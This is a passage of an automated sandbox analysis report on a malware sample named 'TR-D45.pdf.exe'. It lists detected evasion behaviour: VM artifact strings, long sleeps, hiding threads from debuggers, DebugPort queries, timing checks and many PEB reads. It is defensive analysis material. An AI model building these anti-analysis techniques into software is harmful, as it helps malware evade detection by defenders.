Source: C:\Users\user\Desktop\TR-D45.pdf.exe TID: 6656 Thread sleep count: 192 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 4860 Thread sleep time: -54000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\control.exe TID: 6664 Thread sleep time: -50000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: explorer.exe, 00000005.00000002.507545804.00000000053C4000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllsers\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db@
Source: explorer.exe, 00000005.00000000.296937352.000000000891C000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000005.00000000.281354355.0000000003710000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.296192370.0000000008270000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.281932971.000000000375B000.00000004.00000001.sdmp Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.282007162.0000000003767000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000000.281932971.000000000375B000.00000004.00000001.sdmp Binary or memory string: AASCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000002.495706634.00000000011B3000.00000004.00000020.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: explorer.exe, 00000005.00000000.297301925.00000000089B5000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000005.00000002.507545804.00000000053C4000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000005.00000000.296192370.0000000008270000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: TR-D45.pdf.exe Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: explorer.exe, 00000005.00000000.296192370.0000000008270000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.297301925.00000000089B5000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: TR-D45.pdf.exe, 00000001.00000002.314208350.0000000000887000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW@%
Source: explorer.exe, 00000005.00000000.296192370.0000000008270000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to hide a thread from the debugger
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239071B NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,023908D5,00000000,00000000,00000000,00000000 0_2_0239071B
Hides threads from debuggers
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Thread information set: HideFromDebugger Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\control.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399799 rdtsc 0_2_02399799
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02395737 LdrInitializeThunk, 0_2_02395737
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023989D5 mov eax, dword ptr fs:[00000030h] 0_2_023989D5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02392372 mov eax, dword ptr fs:[00000030h] 0_2_02392372
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023941DF mov eax, dword ptr fs:[00000030h] 0_2_023941DF
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02398A59 mov eax, dword ptr fs:[00000030h] 0_2_02398A59
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02398A97 mov eax, dword ptr fs:[00000030h] 0_2_02398A97
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02398B37 mov eax, dword ptr fs:[00000030h] 0_2_02398B37
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02398B03 mov eax, dword ptr fs:[00000030h] 0_2_02398B03
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02392B41 mov eax, dword ptr fs:[00000030h] 0_2_02392B41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02397BBE mov eax, dword ptr fs:[00000030h] 0_2_02397BBE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023989FF mov eax, dword ptr fs:[00000030h] 0_2_023989FF
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02392F3B mov eax, dword ptr fs:[00000030h] 0_2_02392F3B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02392F0A mov eax, dword ptr fs:[00000030h] 0_2_02392F0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02392F8B mov eax, dword ptr fs:[00000030h] 0_2_02392F8B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02396D27 mov eax, dword ptr fs:[00000030h] 0_2_02396D27
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02396D4F mov eax, dword ptr fs:[00000030h] 0_2_02396D4F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26E620 mov eax, dword ptr fs:[00000030h] 1_2_1E26E620
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E31FE3F mov eax, dword ptr fs:[00000030h] 1_2_1E31FE3F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26C600 mov eax, dword ptr fs:[00000030h] 1_2_1E26C600
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26C600 mov eax, dword ptr fs:[00000030h] 1_2_1E26C600
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26C600 mov eax, dword ptr fs:[00000030h] 1_2_1E26C600
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E298E00 mov eax, dword ptr fs:[00000030h] 1_2_1E298E00
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29A61C mov eax, dword ptr fs:[00000030h] 1_2_1E29A61C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29A61C mov eax, dword ptr fs:[00000030h] 1_2_1E29A61C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321608 mov eax, dword ptr fs:[00000030h] 1_2_1E321608
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27766D mov eax, dword ptr fs:[00000030h] 1_2_1E27766D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h] 1_2_1E28AE73
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h] 1_2_1E28AE73
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h] 1_2_1E28AE73
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h] 1_2_1E28AE73
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28AE73 mov eax, dword ptr fs:[00000030h] 1_2_1E28AE73
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h] 1_2_1E277E41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h] 1_2_1E277E41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h] 1_2_1E277E41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h] 1_2_1E277E41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h] 1_2_1E277E41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E277E41 mov eax, dword ptr fs:[00000030h] 1_2_1E277E41
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32AE44 mov eax, dword ptr fs:[00000030h] 1_2_1E32AE44
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32AE44 mov eax, dword ptr fs:[00000030h] 1_2_1E32AE44
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E46A7 mov eax, dword ptr fs:[00000030h] 1_2_1E2E46A7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E330EA5 mov eax, dword ptr fs:[00000030h] 1_2_1E330EA5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E330EA5 mov eax, dword ptr fs:[00000030h] 1_2_1E330EA5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E330EA5 mov eax, dword ptr fs:[00000030h] 1_2_1E330EA5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FFE87 mov eax, dword ptr fs:[00000030h] 1_2_1E2FFE87
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2776E2 mov eax, dword ptr fs:[00000030h] 1_2_1E2776E2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2916E0 mov ecx, dword ptr fs:[00000030h] 1_2_1E2916E0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E338ED6 mov eax, dword ptr fs:[00000030h] 1_2_1E338ED6
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2936CC mov eax, dword ptr fs:[00000030h] 1_2_1E2936CC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A8EC7 mov eax, dword ptr fs:[00000030h] 1_2_1E2A8EC7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E31FEC0 mov eax, dword ptr fs:[00000030h] 1_2_1E31FEC0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E264F2E mov eax, dword ptr fs:[00000030h] 1_2_1E264F2E
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E264F2E mov eax, dword ptr fs:[00000030h] 1_2_1E264F2E
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29E730 mov eax, dword ptr fs:[00000030h] 1_2_1E29E730
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29A70E mov eax, dword ptr fs:[00000030h] 1_2_1E29A70E
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29A70E mov eax, dword ptr fs:[00000030h] 1_2_1E29A70E
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33070D mov eax, dword ptr fs:[00000030h] 1_2_1E33070D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33070D mov eax, dword ptr fs:[00000030h] 1_2_1E33070D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28F716 mov eax, dword ptr fs:[00000030h] 1_2_1E28F716
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FFF10 mov eax, dword ptr fs:[00000030h] 1_2_1E2FFF10
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FFF10 mov eax, dword ptr fs:[00000030h] 1_2_1E2FFF10
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27FF60 mov eax, dword ptr fs:[00000030h] 1_2_1E27FF60
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E338F6A mov eax, dword ptr fs:[00000030h] 1_2_1E338F6A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27EF40 mov eax, dword ptr fs:[00000030h] 1_2_1E27EF40
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E278794 mov eax, dword ptr fs:[00000030h] 1_2_1E278794
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E7794 mov eax, dword ptr fs:[00000030h] 1_2_1E2E7794
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E7794 mov eax, dword ptr fs:[00000030h] 1_2_1E2E7794
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E7794 mov eax, dword ptr fs:[00000030h] 1_2_1E2E7794
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A37F5 mov eax, dword ptr fs:[00000030h] 1_2_1E2A37F5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29BC2C mov eax, dword ptr fs:[00000030h] 1_2_1E29BC2C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h] 1_2_1E2E6C0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h] 1_2_1E2E6C0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h] 1_2_1E2E6C0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6C0A mov eax, dword ptr fs:[00000030h] 1_2_1E2E6C0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E321C06 mov eax, dword ptr fs:[00000030h] 1_2_1E321C06
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33740D mov eax, dword ptr fs:[00000030h] 1_2_1E33740D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33740D mov eax, dword ptr fs:[00000030h] 1_2_1E33740D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E33740D mov eax, dword ptr fs:[00000030h] 1_2_1E33740D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28746D mov eax, dword ptr fs:[00000030h] 1_2_1E28746D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29A44B mov eax, dword ptr fs:[00000030h] 1_2_1E29A44B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FC450 mov eax, dword ptr fs:[00000030h] 1_2_1E2FC450
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2FC450 mov eax, dword ptr fs:[00000030h] 1_2_1E2FC450
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27849B mov eax, dword ptr fs:[00000030h] 1_2_1E27849B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3214FB mov eax, dword ptr fs:[00000030h] 1_2_1E3214FB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6CF0 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6CF0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6CF0 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6CF0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6CF0 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6CF0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E338CD6 mov eax, dword ptr fs:[00000030h] 1_2_1E338CD6
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E338D34 mov eax, dword ptr fs:[00000030h] 1_2_1E338D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32E539 mov eax, dword ptr fs:[00000030h] 1_2_1E32E539
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E294D3B mov eax, dword ptr fs:[00000030h] 1_2_1E294D3B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E294D3B mov eax, dword ptr fs:[00000030h] 1_2_1E294D3B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E294D3B mov eax, dword ptr fs:[00000030h] 1_2_1E294D3B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E273D34 mov eax, dword ptr fs:[00000030h] 1_2_1E273D34
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26AD30 mov eax, dword ptr fs:[00000030h] 1_2_1E26AD30
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2EA537 mov eax, dword ptr fs:[00000030h] 1_2_1E2EA537
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28C577 mov eax, dword ptr fs:[00000030h] 1_2_1E28C577
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E28C577 mov eax, dword ptr fs:[00000030h] 1_2_1E28C577
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A3D43 mov eax, dword ptr fs:[00000030h] 1_2_1E2A3D43
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E3540 mov eax, dword ptr fs:[00000030h] 1_2_1E2E3540
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E313D40 mov eax, dword ptr fs:[00000030h] 1_2_1E313D40
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E287D50 mov eax, dword ptr fs:[00000030h] 1_2_1E287D50
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2935A1 mov eax, dword ptr fs:[00000030h] 1_2_1E2935A1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E291DB5 mov eax, dword ptr fs:[00000030h] 1_2_1E291DB5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E291DB5 mov eax, dword ptr fs:[00000030h] 1_2_1E291DB5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E291DB5 mov eax, dword ptr fs:[00000030h] 1_2_1E291DB5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3305AC mov eax, dword ptr fs:[00000030h] 1_2_1E3305AC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E3305AC mov eax, dword ptr fs:[00000030h] 1_2_1E3305AC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h] 1_2_1E292581
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h] 1_2_1E292581
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h] 1_2_1E292581
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E292581 mov eax, dword ptr fs:[00000030h] 1_2_1E292581
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h] 1_2_1E262D8A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h] 1_2_1E262D8A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h] 1_2_1E262D8A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h] 1_2_1E262D8A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E262D8A mov eax, dword ptr fs:[00000030h] 1_2_1E262D8A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29FD9B mov eax, dword ptr fs:[00000030h] 1_2_1E29FD9B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E29FD9B mov eax, dword ptr fs:[00000030h] 1_2_1E29FD9B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E318DF1 mov eax, dword ptr fs:[00000030h] 1_2_1E318DF1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27D5E0 mov eax, dword ptr fs:[00000030h] 1_2_1E27D5E0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E27D5E0 mov eax, dword ptr fs:[00000030h] 1_2_1E27D5E0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h] 1_2_1E32FDE2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h] 1_2_1E32FDE2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h] 1_2_1E32FDE2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32FDE2 mov eax, dword ptr fs:[00000030h] 1_2_1E32FDE2
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6DC9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6DC9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6DC9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6DC9 mov ecx, dword ptr fs:[00000030h] 1_2_1E2E6DC9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6DC9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2E6DC9 mov eax, dword ptr fs:[00000030h] 1_2_1E2E6DC9
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A4A2C mov eax, dword ptr fs:[00000030h] 1_2_1E2A4A2C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A4A2C mov eax, dword ptr fs:[00000030h] 1_2_1E2A4A2C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32AA16 mov eax, dword ptr fs:[00000030h] 1_2_1E32AA16
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E32AA16 mov eax, dword ptr fs:[00000030h] 1_2_1E32AA16
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E278A0A mov eax, dword ptr fs:[00000030h] 1_2_1E278A0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26AA16 mov eax, dword ptr fs:[00000030h] 1_2_1E26AA16
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E26AA16 mov eax, dword ptr fs:[00000030h] 1_2_1E26AA16
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E283A1C mov eax, dword ptr fs:[00000030h] 1_2_1E283A1C
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E265210 mov eax, dword ptr fs:[00000030h] 1_2_1E265210
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E265210 mov ecx, dword ptr fs:[00000030h] 1_2_1E265210
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E265210 mov eax, dword ptr fs:[00000030h] 1_2_1E265210
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E265210 mov eax, dword ptr fs:[00000030h] 1_2_1E265210
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A927A mov eax, dword ptr fs:[00000030h] 1_2_1E2A927A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E31B260 mov eax, dword ptr fs:[00000030h] 1_2_1E31B260
